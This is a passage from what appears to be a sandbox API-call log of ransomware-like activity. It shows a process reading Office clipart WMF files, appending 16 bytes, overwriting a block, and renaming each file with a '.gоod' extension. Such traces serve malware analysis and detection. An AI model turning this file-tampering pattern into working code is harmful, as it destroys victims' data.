Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6be482ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xff0)) returned 1 [0187.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0187.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.gоod")) returned 1 [0187.375] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF", lpFilePart=0x0) returned 0x44 [0187.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0187.375] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3a446a8 | out: lpFileInformation=0x3a446a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f00)) returned 1 [0187.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0187.375] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF", lpFilePart=0x0) returned 0x44 [0187.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0187.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0187.376] GetFileType (hFile=0x6e0) returned 0x1 [0187.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0187.376] GetFileType (hFile=0x6e0) returned 0x1 [0187.376] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0187.376] ReadFile (in: hFile=0x6e0, lpBuffer=0x3a44ac0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3a44ac0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0187.377] CloseHandle (hObject=0x6e0) returned 1 [0187.377] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF", lpFilePart=0x0) returned 0x44 [0187.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0187.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0187.378] GetFileType (hFile=0x6e0) returned 0x1 [0187.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0187.378] GetFileType (hFile=0x6e0) returned 0x1 [0187.378] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x5f00 [0187.378] WriteFile (in: hFile=0x6e0, lpBuffer=0x3a45d58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3a45d58*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0187.379] CloseHandle (hObject=0x6e0) returned 1 [0187.379] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF", lpFilePart=0x0) returned 0x44 [0187.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0187.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0187.379] GetFileType (hFile=0x6e0) returned 0x1 [0187.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0187.379] GetFileType (hFile=0x6e0) returned 0x1 [0187.379] ReadFile (in: hFile=0x6e0, lpBuffer=0x3a48018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3a48018*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0187.460] CloseHandle (hObject=0x6e0) returned 1 [0187.460] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF", lpFilePart=0x0) returned 0x44 [0187.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0187.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0187.461] GetFileType (hFile=0x6e0) returned 0x1 [0187.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0187.461] GetFileType (hFile=0x6e0) returned 0x1 [0187.461] WriteFile (in: hFile=0x6e0, lpBuffer=0x3a46d70*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3a46d70*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0187.461] CloseHandle (hObject=0x6e0) returned 1 [0187.461] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF", lpFilePart=0x0) returned 0x44 [0187.461] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0187.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0187.461] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bf2d014, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5f10)) returned 1 [0187.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0187.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.gоod")) returned 1 [0187.463] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF", lpFilePart=0x0) returned 0x44 [0187.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0187.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3ac4408 | out: lpFileInformation=0x3ac4408*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60ca)) returned 1 [0187.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0187.463] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF", lpFilePart=0x0) returned 0x44 [0187.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0187.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0187.464] GetFileType (hFile=0x6e0) returned 0x1 [0187.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0187.464] GetFileType (hFile=0x6e0) returned 0x1 [0187.464] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0187.464] ReadFile (in: hFile=0x6e0, lpBuffer=0x3ac4820, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3ac4820*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0187.465] CloseHandle (hObject=0x6e0) returned 1 [0187.465] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF", lpFilePart=0x0) returned 0x44 [0187.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0187.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0187.465] GetFileType (hFile=0x6e0) returned 0x1 [0187.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0187.466] GetFileType (hFile=0x6e0) returned 0x1 [0187.466] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x60ca [0187.466] WriteFile (in: hFile=0x6e0, lpBuffer=0x3ac5ae8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3ac5ae8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0187.466] CloseHandle (hObject=0x6e0) returned 1 [0187.466] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF", lpFilePart=0x0) returned 0x44 [0187.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0187.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0187.467] GetFileType (hFile=0x6e0) returned 0x1 [0187.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0187.467] GetFileType (hFile=0x6e0) returned 0x1 [0187.467] ReadFile (in: hFile=0x6e0, lpBuffer=0x3ac7da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3ac7da8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0188.274] CloseHandle (hObject=0x6e0) returned 1 [0188.274] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF", lpFilePart=0x0) returned 0x44 [0188.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0188.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0188.275] GetFileType (hFile=0x6e0) returned 0x1 [0188.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0188.275] GetFileType (hFile=0x6e0) returned 0x1 [0188.275] WriteFile (in: hFile=0x6e0, lpBuffer=0x370ebf8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x370ebf8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0188.275] CloseHandle (hObject=0x6e0) returned 1 [0188.275] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF", lpFilePart=0x0) returned 0x44 [0188.275] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0188.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0188.275] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c6ec88f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x60da)) returned 1 [0188.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0188.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.gоod")) returned 1 [0188.277] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF", lpFilePart=0x0) returned 0x44 [0188.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0188.277] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3a9fa88 | out: lpFileInformation=0x3a9fa88*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c)) returned 1 [0188.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0188.277] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF", lpFilePart=0x0) returned 0x44 [0188.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0188.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0188.278] GetFileType (hFile=0x6e0) returned 0x1 [0188.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0188.278] GetFileType (hFile=0x6e0) returned 0x1 [0188.278] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0188.278] ReadFile (in: hFile=0x6e0, lpBuffer=0x3a9fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3a9fea0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0188.279] CloseHandle (hObject=0x6e0) returned 1 [0188.279] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF", lpFilePart=0x0) returned 0x44 [0188.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0188.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0188.279] GetFileType (hFile=0x6e0) returned 0x1 [0188.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0188.279] GetFileType (hFile=0x6e0) returned 0x1 [0188.280] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0xbb7c [0188.280] WriteFile (in: hFile=0x6e0, lpBuffer=0x3aa1168*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3aa1168*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0188.280] CloseHandle (hObject=0x6e0) returned 1 [0188.280] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF", lpFilePart=0x0) returned 0x44 [0188.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0188.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0188.281] GetFileType (hFile=0x6e0) returned 0x1 [0188.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0188.281] GetFileType (hFile=0x6e0) returned 0x1 [0188.281] ReadFile (in: hFile=0x6e0, lpBuffer=0x3aa3428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3aa3428*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0188.423] CloseHandle (hObject=0x6e0) returned 1 [0188.423] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF", lpFilePart=0x0) returned 0x44 [0188.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0188.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0188.423] GetFileType (hFile=0x6e0) returned 0x1 [0188.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0188.423] GetFileType (hFile=0x6e0) returned 0x1 [0188.423] WriteFile (in: hFile=0x6e0, lpBuffer=0x375d630*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x375d630*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0188.423] CloseHandle (hObject=0x6e0) returned 1 [0188.423] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF", lpFilePart=0x0) returned 0x44 [0188.424] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0188.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0188.424] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c869fe7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbb8c)) returned 1 [0188.424] SetThreadErrorMode (dwNewMode=0x0, 